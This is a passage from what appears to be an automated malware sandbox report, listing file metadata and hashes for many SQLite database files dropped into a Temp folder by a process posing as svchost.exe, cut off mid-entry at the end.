                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\nYudwX8gSM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ncl84b001q

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\nh3HpWjBQz

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\o0LFCQdkbf

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\oMPkEAm24Q

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\oWS88eRNLv

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\obrZL1nZmo

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\oh4ETDzjFi

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\pCYB2wLxvE

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\pL2w5izY5m

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\pQsc8oZ8tL

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\pjzqwSLOTy

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\psezWsyxs5

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\qAcM4WZdnH

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\qBpS2lfvK4

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\qZaDJ7p7Rl

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\qaVTy3x0lk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\qdZybPsSZY

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\qs5q68DUG0

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\rVr8YOWCSG

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\rfuMi7yixi

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\riVvXDYVRR

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ruPol5Lrau

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\s2krFZAl2j

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\s8umzB2CFP

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
